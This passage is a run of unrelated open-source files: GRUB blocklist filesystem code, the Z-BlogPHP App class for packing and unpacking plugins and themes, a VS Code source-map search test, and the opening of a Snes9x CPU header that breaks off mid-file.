(GRUB_ERR_BAD_FILENAME, N_("invalid file name `%s'"), name); goto fail; } } p++; blocks[i].length = grub_strtoul (p, &p, 0); if (grub_errno != GRUB_ERR_NONE || blocks[i].length == 0 || (*p && *p != ',' && ! grub_isspace (*p))) { grub_error (GRUB_ERR_BAD_FILENAME, N_("invalid file name `%s'"), name); goto fail; } if (disk->total_sectors < blocks[i].offset + blocks[i].length) { grub_error (GRUB_ERR_BAD_FILENAME, "beyond the total sectors"); goto fail; } file->size += (blocks[i].length << GRUB_DISK_SECTOR_BITS); p++; } file->data = blocks; return GRUB_ERR_NONE; fail: grub_free (blocks); return grub_errno; } static grub_ssize_t grub_fs_blocklist_read (grub_file_t file, char *buf, grub_size_t len) { struct grub_fs_block *p; grub_disk_addr_t sector; grub_off_t offset; grub_ssize_t ret = 0; if (len > file->size - file->offset) len = file->size - file->offset; sector = (file->offset >> GRUB_DISK_SECTOR_BITS); offset = (file->offset & (GRUB_DISK_SECTOR_SIZE - 1)); for (p = file->data; p->length && len > 0; p++) { if (sector < p->length) { grub_size_t size; size = len; if (((size + offset + GRUB_DISK_SECTOR_SIZE - 1) >> GRUB_DISK_SECTOR_BITS) > p->length - sector) size = ((p->length - sector) << GRUB_DISK_SECTOR_BITS) - offset; if (grub_disk_read (file->device->disk, p->offset + sector, offset, size, buf) != GRUB_ERR_NONE) return -1; ret += size; len -= size; sector -= ((size + offset) >> GRUB_DISK_SECTOR_BITS); offset = ((size + offset) & (GRUB_DISK_SECTOR_SIZE - 1)); } else sector -= p->length; } return ret; } struct grub_fs grub_fs_blocklist = { .name = "blocklist", .dir = 0, .open = grub_fs_blocklist_open, .read = grub_fs_blocklist_read, .close = 0, .next = 0 };
{ "pile_set_name": "Github" }
<?php if (!defined('ZBP_PATH')) { exit('Access denied'); } /** * App 应用类. */ class App { /** * @var string 应用类型,'plugin'表示插件,'theme'表示主题 */ public $type = ''; /** * @var string 应用ID,必须以应用文件目录为ID */ public $id; /** * @var string 应用名 */ public $name; /** * @var string 应用发布链接 */ public $url; /** * @var string 应用说明 */ public $note; /** * @var string 应用详细信息 */ public $description; /** * @var string 管理页面路径 */ public $path; /** * @var string include文件 */ public $include; /** * @var int 应用权限等级 */ public $level; /** * @var string 应用作者 */ public $author_name; /** * @var string 作者邮箱 */ public $author_email; /** * @var string 作者链接 */ public $author_url; /** * @var string 原作者名 */ public $source_name; /** * @var string 原作者邮箱 */ public $source_email; /** * @var string 原作者链接 */ public $source_url; /** * @var string 适用版本 */ public $adapted; /** * @var string 版本号 */ public $version; /** * @var string 发布时间 */ public $pubdate; /** * @var string 最后更新时间 */ public $modified; /** * @var string 应用价格 */ public $price; /** * @var string 高级选项:依赖插件列表(以|分隔) */ public $advanced_dependency; /** * @var string 高级选项:重写函数列表(以|分隔) */ public $advanced_rewritefunctions; /** * @var string 高级选项:必须函数列表(以|分隔) */ public $advanced_existsfunctions; /** * @var string 高级选项:冲突插件列表(以|分隔) */ public $advanced_conflict; /** * @var string 设置主题侧栏1 */ public $sidebars_sidebar1; /** * @var string 定义主题侧栏2 */ public $sidebars_sidebar2; /** * @var string 设置主题侧栏3 */ public $sidebars_sidebar3; /** * @var string 设置主题侧栏4 */ public $sidebars_sidebar4; /** * @var string 设置主题侧栏5 */ public $sidebars_sidebar5; /** * @var string 设置主题侧栏6 */ public $sidebars_sidebar6; /** * @var string 定义主题侧栏7 */ public $sidebars_sidebar7; /** * @var string 设置主题侧栏8 */ public $sidebars_sidebar8; /** * @var string 设置主题侧栏9 */ public $sidebars_sidebar9; /** * @var string PHP最低版本 */ public $phpver; /** * @var array 禁止打包文件glob */ public $ignore_files = array('.gitignore', '.DS_Store', 'Thumbs.db', 'composer.lock', 'zbignore.txt'); /** * @var bool 加载xml成功否 */ public $isloaded = false; /** * @var string 当前样式表的crc32 */ public $css_crc32 = ''; /** * @var string 静态访法返回unpack后的错误文件数 */ public static $check_error_count = 0; /** * @var string 静态访法返回unpack成功后的app */ public static $unpack_app = null; public function __get($key) { global $zbp; if ($key === 'app_path') { $appDirectory = $zbp->usersdir . FormatString($this->type, '[filename]'); $appDirectory .= '/' . FormatString($this->id, '[filename]') . '/'; return $appDirectory; } elseif ($key === 'app_url') { return $zbp->host . 'zb_users/' . $this->type . '/' . $this->id . '/'; } return ''; } /** * 得到详细信息数组. * * @return array */ public function GetInfoArray() { return get_object_vars($this); } /** * 是否可删除. * * @return bool */ public function CanDel() { global $zbp; return !isset($zbp->activedapps[$this->id]); } /** * 是否带管理页面. * * @return bool */ public function CanManage() { if ($this->path) { return true; } return false; } /** * 是否正在使用. * * @return bool */ public function IsUsed() { global $zbp; return $zbp->CheckPlugin($this->id); } /** * 是否附带主题插件(针对主题应用). * * @return bool */ public function HasPlugin() { if ($this->path || $this->include) { return true; } return false; } /** * 获取应用ID的crc32Hash值 * * @return string */ public function GetHash() { global $zbp; return crc32($this->id); } /** * 获取应用管理页面链接. * * @return string */ public function GetManageUrl() { global $zbp; return $zbp->host . 'zb_users/' . $this->type . '/' . $this->id . '/' . $this->path; } /** * 获取应用目录地址 * * @return string */ public function GetDir() { return $this->app_path; } /** * 获取应用Logo图片地址 * * @return string */ public function GetLogo() { if ($this->type == 'plugin') { return $this->app_url . 'logo.png'; } else { return $this->app_url . 'screenshot.png'; } } /** * 获取应用截图地址 * * @return string */ public function GetScreenshot() { return $this->app_url . 'screenshot.png'; } /** * 获取应用(主题)样式文件列表. * * @return array */ public function GetCssFiles() { $dir = $this->app_path . 'style/'; $array = GetFilesInDir($dir, 'css'); if (isset($array['default'])) { $a = array('default' => $array['default']); unset($array['default']); $array = array_merge($a, $array); } if (isset($array['style'])) { $a = array('style' => $array['style']); unset($array['style']); $array = array_merge($a, $array); } return $array; } /** * 载入应用xml中的信息. * * @param string $type 应用类型 * @param string $id 应用ID * * @return bool */ public function LoadInfoByXml($type, $id) { global $zbp; $this->id = $id; $this->type = $type; $xmlPath = $this->app_path . FormatString($type, '[filename]') . '.xml'; if (!is_readable($xmlPath)) { return false; } $content = file_get_contents($xmlPath); $xml = @simplexml_load_string($content); if (!$xml) { return false; } $appver = $xml->attributes(); if ((string) $appver->version !== 'php') { return false; } $this->type = $type; $this->id = (string) $xml->id; $this->name = (string) $xml->name; $this->url = (string) $xml->url; $this->note = (string) $xml->note; $this->path = (string) $xml->path; $this->include = (string) $xml->include; $this->level = (string) $xml->level; $this->author_name = (string) $xml->author->name; $this->author_email = (string) $xml->author->email; $this->author_url = (string) $xml->author->url; $this->source_name = (string) $xml->source->name; $this->source_email = (string) $xml->source->email; $this->source_url = (string) $xml->source->url; $this->adapted = (string) $xml->adapted; $this->version = (string) $xml->version; $this->pubdate = (string) $xml->pubdate; $this->modified = (string) $xml->modified; $this->description = (string) $xml->description; $this->price = (string) $xml->price; if (empty($xml->phpver)) { $this->phpver = '5.2'; } else { $this->phpver = (string) $xml->phpver; } $this->advanced_dependency = (string) $xml->advanced->dependency; $this->advanced_rewritefunctions = (string) $xml->advanced->rewritefunctions; $this->advanced_existsfunctions = (string) $xml->advanced->existsfunctions; $this->advanced_conflict = (string) $xml->advanced->conflict; $this->sidebars_sidebar1 = (string) $xml->sidebars->sidebar1; $this->sidebars_sidebar2 = (string) $xml->sidebars->sidebar2; $this->sidebars_sidebar3 = (string) $xml->sidebars->sidebar3; $this->sidebars_sidebar4 = (string) $xml->sidebars->sidebar4; $this->sidebars_sidebar5 = (string) $xml->sidebars->sidebar5; $this->sidebars_sidebar6 = (string) $xml->sidebars->sidebar6; $this->sidebars_sidebar7 = (string) $xml->sidebars->sidebar7; $this->sidebars_sidebar8 = (string) $xml->sidebars->sidebar8; $this->sidebars_sidebar9 = (string) $xml->sidebars->sidebar9; $appIgnorePath = $this->app_path . 'zbignore.txt'; $appIgnores = array(); if (is_readable($appIgnorePath)) { $appIgnores = explode("\n", str_replace("\r", "\n", trim(file_get_contents($appIgnorePath)))); } foreach ($appIgnores as $key => $value) { if (!empty($value)) { $this->ignore_files[] = $value; } } $this->ignore_files = array_unique($this->ignore_files); $stylecss_file = $this->app_path . 'style/' . $zbp->style . '.css'; if (is_readable($stylecss_file)) { $this->css_crc32 = crc32(file_get_contents($stylecss_file)); } $this->isloaded = true; return true; } /** * 保存应用信息到xml文件. * * @return bool */ public function SaveInfoByXml() { global $zbp; $s = '<?xml version="1.0" encoding="utf-8"?>' . "\r\n"; $s .= '<' . $this->type . ' version="php">' . "\r\n"; $s .= '<id>' . htmlspecialchars($this->id) . '</id>' . "\r\n"; $s .= '<name>' . htmlspecialchars($this->name) . '</name>' . "\r\n"; $s .= '<url>' . htmlspecialchars($this->url) . '</url>' . "\r\n"; $s .= '<note>' . htmlspecialchars($this->note) . '</note>' . "\r\n"; $s .= '<description>' . htmlspecialchars($this->description) . '</description>' . "\r\n"; $s .= '<path>' . htmlspecialchars($this->path) . '</path>' . "\r\n"; $s .= '<include>' . htmlspecialchars($this->include) . '</include>' . "\r\n"; $s .= '<level>' . htmlspecialchars($this->level) . '</level>' . "\r\n"; $s .= '<author>' . "\r\n"; $s .= ' <name>' . htmlspecialchars($this->author_name) . '</name>' . "\r\n"; $s .= ' <email>' . htmlspecialchars($this->author_email) . '</email>' . "\r\n"; $s .= ' <url>' . htmlspecialchars($this->author_url) . '</url>' . "\r\n"; $s .= '</author>' . "\r\n"; $s .= '<source>' . "\r\n"; $s .= ' <name>' . htmlspecialchars($this->source_name) . '</name>' . "\r\n"; $s .= ' <email>' . htmlspecialchars($this->source_email) . '</email>' . "\r\n"; $s .= ' <url>' . htmlspecialchars($this->source_url) . '</url>' . "\r\n"; $s .= '</source>' . "\r\n"; $s .= '<adapted>' . htmlspecialchars($this->adapted) . '</adapted>' . "\r\n"; $s .= '<version>' . htmlspecialchars($this->version) . '</version>' . "\r\n"; $s .= '<pubdate>' . htmlspecialchars($this->pubdate) . '</pubdate>' . "\r\n"; $s .= '<modified>' . htmlspecialchars($this->modified) . '</modified>' . "\r\n"; $s .= '<price>' . htmlspecialchars($this->price) . '</price>' . "\r\n"; $s .= '<phpver>' . htmlspecialchars($this->phpver) . '</phpver>' . "\r\n"; $s .= '<advanced>' . "\r\n"; $s .= ' <dependency>' . htmlspecialchars($this->advanced_dependency) . '</dependency>' . "\r\n"; $s .= ' <rewritefunctions>' . htmlspecialchars($this->advanced_rewritefunctions) . '</rewritefunctions>' . "\r\n"; $s .= ' <existsfunctions>' . htmlspecialchars($this->advanced_existsfunctions) . '</existsfunctions>' . "\r\n"; $s .= ' <conflict>' . htmlspecialchars($this->advanced_conflict) . '</conflict>' . "\r\n"; $s .= '</advanced>' . "\r\n"; $s .= '<sidebars>' . "\r\n"; $s .= ' <sidebar1>' . htmlspecialchars($this->sidebars_sidebar1) . '</sidebar1>' . "\r\n"; $s .= ' <sidebar2>' . htmlspecialchars($this->sidebars_sidebar2) . '</sidebar2>' . "\r\n"; $s .= ' <sidebar3>' . htmlspecialchars($this->sidebars_sidebar3) . '</sidebar3>' . "\r\n"; $s .= ' <sidebar4>' . htmlspecialchars($this->sidebars_sidebar4) . '</sidebar4>' . "\r\n"; $s .= ' <sidebar5>' . htmlspecialchars($this->sidebars_sidebar5) . '</sidebar5>' . "\r\n"; $s .= ' <sidebar6>' . htmlspecialchars($this->sidebars_sidebar6) . '</sidebar6>' . "\r\n"; $s .= ' <sidebar7>' . htmlspecialchars($this->sidebars_sidebar7) . '</sidebar7>' . "\r\n"; $s .= ' <sidebar8>' . htmlspecialchars($this->sidebars_sidebar8) . '</sidebar8>' . "\r\n"; $s .= ' <sidebar9>' . htmlspecialchars($this->sidebars_sidebar9) . '</sidebar9>' . "\r\n"; $s .= '</sidebars>' . "\r\n"; $s .= '</' . $this->type . '>'; $path = $this->app_path . $this->type . '.xml'; @file_put_contents($path, $s); return true; } /** * @var array 所有目录列表 * @private */ private $dirs = array(); /** * @var array 所有文件列表 * @private */ private $files = array(); /** * @param string $dir 获取所有目录及文件列表 * @private */ private function GetAllFileDir($dir) { foreach (scandir($dir) as $d) { if (is_dir($dir . $d)) { if ((substr($d, 0, 1) != '.') && !($d == 'compile' && $this->type == 'theme') ) { $this->GetAllFileDir($dir . $d . '/'); $this->dirs[] = $dir . $d . '/'; } } else { $this->files[] = $dir . $d; } } } /** * 应用打包. * * @return string */ public function Pack() { global $zbp; $this->dirs = array(); $this->files = array(); $dir = $this->app_path; $this->GetAllFileDir($dir); foreach ($this->dirs as $key => $value) { $this->dirs[$key] = str_ireplace('\\', '/', $this->dirs[$key]); } foreach ($this->files as $key => $value) { $this->files[$key] = str_ireplace('\\', '/', $this->files[$key]); } foreach ($GLOBALS['hooks']['Filter_Plugin_App_Pack'] as $fpname => &$fpsignal) { $fpreturn = $fpname($this, $this->dirs, $this->files); } $s = '<?xml version="1.0" encoding="utf-8"?>'; $s .= '<app version="php" type="' . $this->type . '">'; $s .= '<id>' . htmlspecialchars($this->id) . '</id>'; $s .= '<name>' . htmlspecialchars($this->name) . '</name>'; $s .= '<url>' . htmlspecialchars($this->url) . '</url>'; $s .= '<note>' . htmlspecialchars($this->note) . '</note>'; $s .= '<description>' . htmlspecialchars($this->description) . '</description>'; $s .= '<path>' . htmlspecialchars($this->path) . '</path>'; $s .= '<include>' . htmlspecialchars($this->include) . '</include>'; $s .= '<level>' . htmlspecialchars($this->level) . '</level>'; $s .= '<author>'; $s .= '<name>' . htmlspecialchars($this->author_name) . '</name>'; $s .= '<email>' . htmlspecialchars($this->author_email) . '</email>'; $s .= '<url>' . htmlspecialchars($this->author_url) . '</url>'; $s .= '</author>'; $s .= '<source>'; $s .= '<name>' . htmlspecialchars($this->source_name) . '</name>'; $s .= '<email>' . htmlspecialchars($this->source_email) . '</email>'; $s .= '<url>' . htmlspecialchars($this->source_url) . '</url>'; $s .= '</source>'; $s .= '<adapted>' . htmlspecialchars($this->adapted) . '</adapted>'; $s .= '<version>' . htmlspecialchars($this->version) . '</version>'; $s .= '<pubdate>' . htmlspecialchars($this->pubdate) . '</pubdate>'; $s .= '<modified>' . htmlspecialchars($this->modified) . '</modified>'; $s .= '<price>' . htmlspecialchars($this->price) . '</price>'; $s .= '<phpver>' . htmlspecialchars($this->phpver) . '</phpver>'; $s .= '<advanced>'; $s .= '<dependency>' . htmlspecialchars($this->advanced_dependency) . '</dependency>'; $s .= '<rewritefunctions>' . htmlspecialchars($this->advanced_rewritefunctions) . '</rewritefunctions>'; $s .= '<existsfunctions>' . htmlspecialchars($this->advanced_existsfunctions) . '</existsfunctions>' . "\r\n"; $s .= '<conflict>' . htmlspecialchars($this->advanced_conflict) . '</conflict>'; $s .= '</advanced>'; $s .= '<sidebars>'; $s .= '<sidebar1>' . htmlspecialchars($this->sidebars_sidebar1) . '</sidebar1>'; $s .= '<sidebar2>' . htmlspecialchars($this->sidebars_sidebar2) . '</sidebar2>'; $s .= '<sidebar3>' . htmlspecialchars($this->sidebars_sidebar3) . '</sidebar3>'; $s .= '<sidebar4>' . htmlspecialchars($this->sidebars_sidebar4) . '</sidebar4>'; $s .= '<sidebar5>' . htmlspecialchars($this->sidebars_sidebar5) . '</sidebar5>'; $s .= '<sidebar6>' . htmlspecialchars($this->sidebars_sidebar6) . '</sidebar6>'; $s .= '<sidebar7>' . htmlspecialchars($this->sidebars_sidebar7) . '</sidebar7>'; $s .= '<sidebar8>' . htmlspecialchars($this->sidebars_sidebar8) . '</sidebar8>'; $s .= '<sidebar9>' . htmlspecialchars($this->sidebars_sidebar9) . '</sidebar9>'; $s .= '</sidebars>'; $s .= "\n"; foreach ($this->ignore_files as $glob) { if (is_dir($d = $this->app_path . $glob)) { $this->ignored_dirs[crc32($d)] = rtrim($d, '/') . '/'; } } foreach ($this->dirs as $key => $value) { if ($this->IsPathIgnored($value)) { continue; } $value = str_replace($dir, '', $value); $value = preg_replace('/[^(\x20-\x7F)]*/', '', $value); $d = $this->id . '/' . $value; $s .= '<folder><path>' . htmlspecialchars($d) . '</path></folder>'; $s .= "\n"; } foreach ($this->files as $key => $value) { if ($this->IsPathIgnored($value)) { continue; } $d = $this->id . '/' . str_replace($dir, '', $value); $ext = pathinfo($value, PATHINFO_EXTENSION); if ($ext == 'php' || $ext == 'inc') { $c = base64_encode(RemoveBOM(file_get_contents($value))); } else { $c = base64_encode(file_get_contents($value)); } if (IS_WINDOWS) { $d = iconv($zbp->lang['windows_character_set'], 'UTF-8//IGNORE', $d); } $s .= '<file><path>' . htmlspecialchars($d) . '</path><stream>' . $c . '</stream></file>'; $s .= "\n"; } $s .= '<verify>' . base64_encode($zbp->host . "\n" . $zbp->path) . '</verify>'; $s .= '</app>'; return $s; } public function PackGZip() { return gzencode($this->Pack(), 9, FORCE_GZIP); } private $ignored_dirs = array(); private function IsPathIgnored($path) { $path = str_ireplace('\\', '/', $path); $appPath = str_ireplace('\\', '/', $this->app_path); $fileName = str_ireplace($appPath, '', $path); foreach ($this->ignore_files as $glob) { if (fnmatch($glob, $fileName)) { return true; } if (is_file($path)) { foreach ($this->ignored_dirs as $key => $value) { if (stripos($path, $value) !== false) { return true; } } } if (is_dir($path) && is_dir($d = $appPath . $glob)) { $d = rtrim($d, '/') . '/'; if (stripos($path, $d) !== false) { return true; } } } return false; } /** * 解开应用包. * * @param $s * * @return bool */ public static function UnPack($s) { global $zbp; $charset = array(); $charset[1] = substr($s, 0, 1); $charset[2] = substr($s, 1, 1); if (ord($charset[1]) == 31 && ord($charset[2]) == 139) { $s = gzdecode($s); } $xml = @simplexml_load_string($s, 'SimpleXMLElement', (LIBXML_COMPACT | LIBXML_PARSEHUGE)); if (!$xml) { return false; } if ($xml['version'] != 'php') { return false; } $type = $xml['type']; $id = $xml->id; $dir = $zbp->path . 'zb_users/' . $type . '/'; ZBlogException::SuspendErrorHook(); self::$unpack_app = null; if (!file_exists($dir . $id . '/')) { @mkdir($dir . $id . '/', 0755, true); } foreach ($xml->folder as $folder) { $f = $dir . $folder->path; if (!file_exists($f)) { @mkdir($f, 0755, true); } } self::$check_error_count = 0; foreach ($xml->file as $file) { $s = base64_decode($file->stream); $f = $dir . $file->path; $f = str_replace('./', '', pathinfo($f, PATHINFO_DIRNAME)) . '/' . pathinfo($f, PATHINFO_BASENAME); @file_put_contents($f, $s); @chmod($f, 0755); $s2 = file_get_contents($f); if (md5($s) != md5($s2)) { self::$check_error_count = (self::$check_error_count + 1); } } self::$unpack_app = $zbp->LoadApp($type, $id); ZBlogException::ResumeErrorHook(); return true; } /** * @throws Exception */ public function CheckCompatibility() { global $zbp; if ((int) $this->adapted > (int) $zbp->version) { $zbp->ShowError(str_replace('%s', $this->adapted, $zbp->lang['error'][78]), __FILE__, __LINE__); } if (trim($this->phpver) == '') { $this->phpver = '5.2'; } if (version_compare($this->phpver, GetPHPVersion()) > 0) { $zbp->ShowError(str_replace('%s', $this->phpver, $zbp->lang['error'][91]), __FILE__, __LINE__); } $ae = explode('|', $this->advanced_existsfunctions); foreach ($ae as $e) { $e = trim($e); if (!$e) { continue; } if (!function_exists($e)) { $zbp->ShowError(str_replace('%s', $e, $zbp->lang['error'][92]), __FILE__, __LINE__); } } $ad = explode('|', $this->advanced_dependency); foreach ($ad as $d) { if (!$d) { continue; } if (!in_array($d, $zbp->activedapps)) { $d = '<a href="' . $zbp->host . 'zb_users/plugin/AppCentre/main.php?alias=' . $d . '">' . $d . '</a>'; $zbp->ShowError(str_replace('%s', $d, $zbp->lang['error'][83]), __FILE__, __LINE__); } } $ac = explode('|', $this->advanced_conflict); foreach ($ac as $c) { if (!$c) { continue; } if (in_array($c, $zbp->activedapps)) { $zbp->ShowError(str_replace('%s', $c, $zbp->lang['error'][85]), __FILE__, __LINE__); } } } /** * Delete app. */ public function Del() { rrmdir($this->app_path); $this->DelCompiled(); } /** * Delete Compiled theme. */ public function DelCompiled() { global $zbp; rrmdir($zbp->usersdir . 'cache/compiled/' . $this->id); } /** * LoadSideBars 从xml和cache里. */ public function LoadSideBars() { global $zbp; if (is_null($zbp->cache)) { $zbp->cache = new Config('cache'); } $s = $zbp->cache->{'sidebars_' . $this->id}; $a = json_decode($s, true); if (is_array($a)) { foreach ($a as $key => $value) { $zbp->option['ZC_SIDEBAR' . (($key > 1) ? $key : '') . '_ORDER'] = $value; } return true; } $s = ''; for ($i = 1; $i < 10; $i++) { $s .= $this->{'sidebars_sidebar' . $i}; } if (!empty($s)) { for ($i = 1; $i < 10; $i++) { $zbp->option['ZC_SIDEBAR' . (($i > 1) ? $i : '') . '_ORDER'] = $this->{'sidebars_sidebar' . $i}; } } return true; } /** * SaveSideBars 保存到cache. */ public function SaveSideBars() { global $zbp; for ($i = 1; $i < 10; $i++) { $a[$i] = $zbp->option['ZC_SIDEBAR' . (($i > 1) ? $i : '') . '_ORDER']; } $zbp->cache->{'sidebars_' . $this->id} = json_encode($a); $zbp->SaveCache(); } }
{ "pile_set_name": "Github" }
/*--------------------------------------------------------- * Copyright (C) Microsoft Corporation. All rights reserved. *--------------------------------------------------------*/ import { expect } from 'chai'; import { join } from 'path'; import { testFixturesDir, workspaceFolder, testFixturesDirName } from '../test'; import { createFileTree } from '../createFileTree'; import { absolutePathToFileUrl } from '../../common/urlUtils'; import * as vscode from 'vscode'; import { fixDriveLetter } from '../../common/pathUtils'; import { NodeSearchStrategy } from '../../common/sourceMaps/nodeSearchStrategy'; import { CodeSearchStrategy } from '../../common/sourceMaps/codeSearchStrategy'; import { Logger } from '../../common/logging/logger'; import { ISearchStrategy } from '../../common/sourceMaps/sourceMapRepository'; import { FileGlobList } from '../../common/fileGlobList'; describe('ISourceMapRepository', () => { [ { name: 'NodeSourceMapRepository', create: () => new NodeSearchStrategy(Logger.null) }, { name: 'CodeSearchSourceMapRepository', create: () => new CodeSearchStrategy(vscode, Logger.null), }, ].forEach(tcase => describe(tcase.name, () => { let r: ISearchStrategy; beforeEach(() => { r = tcase.create(); createFileTree(testFixturesDir, { 'a.js': '//# sourceMappingURL=a.js.map', 'a.js.map': 'content1', 'c.js': 'no.sourcemap.here', nested: { 'd.js': '//# sourceMappingURL=d.js.map', 'd.js.map': 'content2', }, node_modules: { 'e.js': '//# sourceMappingURL=e.js.map', 'e.js.map': 'content3', }, defaultSearchExcluded: { 'f.js': '//# sourceMappingURL=f.js.map', 'f.js.map': 'content3', }, }); }); const gatherFileList = (rootPath: string, firstIncludeSegment: string) => new FileGlobList({ rootPath, patterns: [`${firstIncludeSegment}/**/*.js`, '!**/node_modules/**'], }); const gatherSm = (rootPath: string, firstIncludeSegment: string) => { return r .streamChildrenWithSourcemaps(gatherFileList(rootPath, firstIncludeSegment), async m => { const { mtime, ...rest } = m; expect(mtime).to.be.within(Date.now() - 60 * 1000, Date.now() + 1000); rest.compiledPath = fixDriveLetter(rest.compiledPath); return rest; }) .then(r => r.sort((a, b) => a.compiledPath.length - b.compiledPath.length)); }; const gatherAll = (rootPath: string, firstIncludeSegment: string) => { return r .streamAllChildren(gatherFileList(rootPath, firstIncludeSegment), m => m) .then(r => r.sort()); }; it('no-ops for non-existent directories', async () => { expect(await gatherSm(__dirname, 'does-not-exist')).to.be.empty; }); it('discovers source maps and applies negated globs', async () => { expect(await gatherSm(workspaceFolder, testFixturesDirName)).to.deep.equal([ { compiledPath: fixDriveLetter(join(testFixturesDir, 'a.js')), sourceMapUrl: absolutePathToFileUrl(join(testFixturesDir, 'a.js.map')), }, { compiledPath: fixDriveLetter(join(testFixturesDir, 'nested', 'd.js')), sourceMapUrl: absolutePathToFileUrl(join(testFixturesDir, 'nested', 'd.js.map')), }, { compiledPath: fixDriveLetter(join(testFixturesDir, 'defaultSearchExcluded', 'f.js')), sourceMapUrl: absolutePathToFileUrl( join(testFixturesDir, 'defaultSearchExcluded', 'f.js.map'), ), }, ]); }); it('streams all children', async () => { expect(await gatherAll(workspaceFolder, testFixturesDirName)).to.deep.equal([ fixDriveLetter(join(testFixturesDir, 'a.js')), fixDriveLetter(join(testFixturesDir, 'c.js')), fixDriveLetter(join(testFixturesDir, 'defaultSearchExcluded', 'f.js')), fixDriveLetter(join(testFixturesDir, 'nested', 'd.js')), ]); }); // todo: better absolute pathing support if (tcase.name !== 'CodeSearchSourceMapRepository') { it('greps inside node_modules explicitly', async () => { expect(await gatherSm(join(testFixturesDir, 'node_modules'), '.')).to.deep.equal([ { compiledPath: fixDriveLetter(join(testFixturesDir, 'node_modules', 'e.js')), sourceMapUrl: absolutePathToFileUrl( join(testFixturesDir, 'node_modules', 'e.js.map'), ), }, ]); }); } }), ); });
{ "pile_set_name": "Github" }
/*********************************************************************************** Snes9x - Portable Super Nintendo Entertainment System (TM) emulator. (c) Copyright 1996 - 2002 Gary Henderson ([email protected]), Jerremy Koot ([email protected]) (c) Copyright 2002 - 2004 Matthew Kendora (c) Copyright 2002 - 2005 Peter Bortas ([email protected]) (c) Copyright 2004 - 2005 Joel Yliluoma (http://iki.fi/bisqwit/) (c) Copyright 2001 - 2006 John Weidman ([email protected]) (c) Copyright 2002 - 2006 funkyass ([email protected]), Kris Bleakley ([email protected]) (c) Copyright 2002 - 2010 Brad Jorsch ([email protected]), Nach ([email protected]), (c) Copyright 2002 - 2011 zones ([email protected]) (c) Copyright 2006 - 2007 nitsuja (c) Copyright 2009 - 2011 BearOso, OV2 BS-X C emulator code (c) Copyright 2005 - 2006 Dreamer Nom, zones C4 x86 assembler and some C emulation code (c) Copyright 2000 - 2003 _Demo_ ([email protected]), Nach, zsKnight ([email protected]) C4 C++ code (c) Copyright 2003 - 2006 Brad Jorsch, Nach DSP-1 emulator code (c) Copyright 1998 - 2006 _Demo_, Andreas Naive ([email protected]), Gary Henderson, Ivar ([email protected]), John Weidman, Kris Bleakley, Matthew Kendora, Nach, neviksti ([email protected]) DSP-2 emulator code (c) Copyright 2003 John Weidman, Kris Bleakley, Lord Nightmare ([email protected]), Matthew Kendora, neviksti DSP-3 emulator code (c) Copyright 2003 - 2006 John Weidman, Kris Bleakley, Lancer, z80 gaiden DSP-4 emulator code (c) Copyright 2004 - 2006 Dreamer Nom, John Weidman, Kris Bleakley, Nach, z80 gaiden OBC1 emulator code (c) Copyright 2001 - 2004 zsKnight, pagefault ([email protected]), Kris Bleakley Ported from x86 assembler to C by sanmaiwashi SPC7110 and RTC C++ emulator code used in 1.39-1.51 (c) Copyright 2002 Matthew Kendora with research by zsKnight, John Weidman, Dark Force SPC7110 and RTC C++ emulator code used in 1.52+ (c) Copyright 2009 byuu, neviksti S-DD1 C emulator code (c) Copyright 2003 Brad Jorsch with research by Andreas Naive, John Weidman S-RTC C emulator code (c) Copyright 2001 - 2006 byuu, John Weidman ST010 C++ emulator code (c) Copyright 2003 Feather, John Weidman, Kris Bleakley, Matthew Kendora Super FX x86 assembler emulator code (c) Copyright 1998 - 2003 _Demo_, pagefault, zsKnight Super FX C emulator code (c) Copyright 1997 - 1999 Ivar, Gary Henderson, John Weidman Sound emulator code used in 1.5-1.51 (c) Copyright 1998 - 2003 Brad Martin (c) Copyright 1998 - 2006 Charles Bilyue' Sound emulator code used in 1.52+ (c) Copyright 2004 - 2007 Shay Green ([email protected]) SH assembler code partly based on x86 assembler code (c) Copyright 2002 - 2004 Marcus Comstedt ([email protected]) 2xSaI filter (c) Copyright 1999 - 2001 Derek Liauw Kie Fa HQ2x, HQ3x, HQ4x filters (c) Copyright 2003 Maxim Stepin ([email protected]) NTSC filter (c) Copyright 2006 - 2007 Shay Green GTK+ GUI code (c) Copyright 2004 - 2011 BearOso Win32 GUI code (c) Copyright 2003 - 2006 blip, funkyass, Matthew Kendora, Nach, nitsuja (c) Copyright 2009 - 2011 OV2 Mac OS GUI code (c) Copyright 1998 - 2001 John Stiles (c) Copyright 2001 - 2011 zones Specific ports contains the works of other authors. See headers in individual files. Snes9x homepage: http://www.snes9x.com/ Permission to use, copy, modify and/or distribute Snes9x in both binary and source form, for non-commercial purposes, is hereby granted without fee, providing that this license information and copyright notice appear with all copies and any derived work. This software is provided 'as-is', without any express or implied warranty. In no event shall the authors be held liable for any damages arising from the use of this software or it's derivatives. Snes9x is freeware for PERSONAL USE only. Commercial users should seek permission of the copyright holders first. Commercial use includes, but is not limited to, charging money for Snes9x or software derived from Snes9x, including Snes9x or derivatives in commercial game bundles, and/or using Snes9x as a promotion for your commercial product. The copyright holders request that bug fixes and improvements to the code should be forwarded to them so everyone can benefit from the modifications in future versions. Super NES and Super Nintendo Entertainment System are trademarks of Nintendo Co., Limited and its subsidiary companies. ***********************************************************************************/ #ifndef _65C816_H_ #define _65C816_H_ #define Carry 1 #define Zero 2 #define IRQ 4 #define Decimal 8 #define IndexFlag 16 #define MemoryFlag 32 #define Overflow 64 #define Negative 128 #define Emulation 256 #define SetCarry() (ICPU._Carry = 1) #define ClearCarry() (ICPU._Carry = 0) #define SetZero() (ICPU._Zero = 0) #define ClearZero() (ICPU._Zero = 1) #define SetIRQ() (Registers.PL |= IRQ) #define ClearIRQ() (Registers.PL &= ~IRQ) #define SetDecimal() (Registers.PL |= Decimal) #define ClearDecimal() (Registers.PL &= ~Decimal) #define SetIndex() (Registers.PL |= IndexFlag) #define ClearIndex() (Registers.PL &= ~IndexFlag) #define SetMemory() (Registers.PL |= MemoryFlag) #define ClearMemory() (Registers.PL &= ~MemoryFlag) #define SetOverflow() (ICPU._Overflow = 1) #define ClearOverflow() (ICPU._Overflow = 0) #define SetNegative() (ICPU._Negative = 0x80) #define ClearNegative() (ICPU._Negative = 0) #define CheckCarry() (ICPU._Carry) #define CheckZero() (ICPU._Zero == 0) #define CheckIRQ() (Registers.PL & IRQ) #define CheckDecimal() (Registers.PL & Decimal) #define CheckIndex() (Registers.PL & IndexFlag) #define CheckMemory() (Registers.PL & MemoryFlag) #define CheckOverflow() (ICPU._Overflow) #define CheckNegative() (ICPU._Negative & 0x80) #define 